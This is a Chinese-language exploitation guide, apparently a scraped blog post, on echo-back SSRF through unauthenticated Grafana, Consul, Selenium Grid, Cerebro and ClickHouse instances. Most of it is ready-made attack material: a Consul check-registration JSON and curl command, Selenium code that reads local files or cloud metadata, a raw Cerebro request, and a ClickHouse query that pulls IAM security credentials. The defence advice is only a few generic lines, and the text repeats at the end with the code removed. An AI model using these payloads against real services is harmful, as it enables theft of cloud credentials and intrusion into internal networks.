云攻防中常见未授权下的回显 SSRF
字数 865 2025-08-23 18:31:09

云攻防中常见未授权下的回显SSRF利用技术详解

1. 回显SSRF概述

回显SSRF(Server-Side Request Forgery)在云攻防中具有重要作用,能够绕过外网防护直接发起内网攻击,效果显著。通过回显SSRF可以:

  • 控制未授权的k8s api-server
  • 获取云元数据信息
  • 可能直接获取IAM认证凭证
  • 攻击内网服务

2. Grafana SSRF利用

攻击场景

Grafana允许用户配置数据源,在未授权访问情况下可利用此功能实现SSRF攻击。

利用方法

  1. 使用工具:grafana-ssrf
  2. 通过配置数据源功能发起SSRF请求

3. Consul SSRF利用

攻击场景

Consul作为服务注册发现组件,新版本通常无法直接RCE,但可通过监控功能实现回显SSRF。

利用步骤

  1. 准备JSON配置文件:
{
  "id": "redis-1",
  "name": "Redis health check",
  "http": "http://xxxx/latest/iam/security_credentials",
  "tls_skip_verify": false,
  "method": "GET",
  "interval": "10s",
  "timeout": "1s"
}
  1. 发送注册请求:
curl -X PUT http://xxxxx.com/v1/agent/check/register -d @json
  1. 查看服务health checks获取回显内容

注意:回显内容可能被截断,仅显示部分数据。

4. Selenium Grid SSRF利用

攻击场景

Selenium作为自动化测试服务,未授权时可新建session实现回显SSRF。

利用代码

from selenium import webdriver

url = 'http://xxxxxxx:4444/wd/hub'
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('-ignore-certificate-errors')
chrome_options.add_argument('--allow-file-access-from-files')

dr = webdriver.Remote(url, options=chrome_options)
dr.set_page_load_timeout(3)
dr.get('file:///')  # 或 dr.get('http://xxxxx/latest/iam/')
print(dr.page_source)

5. Cerebro SSRF利用

攻击场景

Cerebro是开源ES图形化管理工具,公开到公网时存在SSRF漏洞。

利用方法

  1. 找到rest查询接口
  2. 发送POST请求:
POST /rest/request HTTP/1.1
Host: xxxxx:9000
Content-Length: 76
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=a479fcb2-d259-4833-bc88-c7cb1c896044; JSESSIONID=FF77ABF1DDD1AF7697078904978F866A
Connection: close

{"method":"GET","data":{},"path":"","host":"http://10.0.0.142:18801/health"}

6. ClickHouse SSRF利用

攻击场景

ClickHouse是基于HTTP接口的列式数据库,未授权或弱口令时可实现有限制的回显SSRF。

利用SQL

SELECT * FROM url('http://xxxxx/latest/iam/security_credentials/', 'TabSeparated', 'a String', 'auto');

7. 防御建议

  1. 对云服务组件实施严格的访问控制
  2. 禁用不必要的HTTP接口
  3. 对用户输入进行严格过滤和验证
  4. 限制内部网络访问权限
  5. 定期更新和修补服务组件

8. 总结

回显SSRF在云攻防中能造成严重危害,攻击者可通过多种服务组件实现内网探测和攻击。本文总结了Grafana、Consul、Selenium Grid、Cerebro和ClickHouse等组件的SSRF利用方法,防御方应针对这些攻击面加强防护措施。

云攻防中常见未授权下的回显SSRF利用技术详解 1. 回显SSRF概述 回显SSRF(Server-Side Request Forgery)在云攻防中具有重要作用,能够绕过外网防护直接发起内网攻击,效果显著。通过回显SSRF可以: 控制未授权的k8s api-server 获取云元数据信息 可能直接获取IAM认证凭证 攻击内网服务 2. Grafana SSRF利用 攻击场景 Grafana允许用户配置数据源,在未授权访问情况下可利用此功能实现SSRF攻击。 利用方法 使用工具: grafana-ssrf 通过配置数据源功能发起SSRF请求 3. Consul SSRF利用 攻击场景 Consul作为服务注册发现组件,新版本通常无法直接RCE,但可通过监控功能实现回显SSRF。 利用步骤 准备JSON配置文件: 发送注册请求: 查看服务health checks获取回显内容 注意 :回显内容可能被截断,仅显示部分数据。 4. Selenium Grid SSRF利用 攻击场景 Selenium作为自动化测试服务,未授权时可新建session实现回显SSRF。 利用代码 5. Cerebro SSRF利用 攻击场景 Cerebro是开源ES图形化管理工具,公开到公网时存在SSRF漏洞。 利用方法 找到rest查询接口 发送POST请求: 6. ClickHouse SSRF利用 攻击场景 ClickHouse是基于HTTP接口的列式数据库,未授权或弱口令时可实现有限制的回显SSRF。 利用SQL 7. 防御建议 对云服务组件实施严格的访问控制 禁用不必要的HTTP接口 对用户输入进行严格过滤和验证 限制内部网络访问权限 定期更新和修补服务组件 8. 总结 回显SSRF在云攻防中能造成严重危害,攻击者可通过多种服务组件实现内网探测和攻击。本文总结了Grafana、Consul、Selenium Grid、Cerebro和ClickHouse等组件的SSRF利用方法,防御方应针对这些攻击面加强防护措施。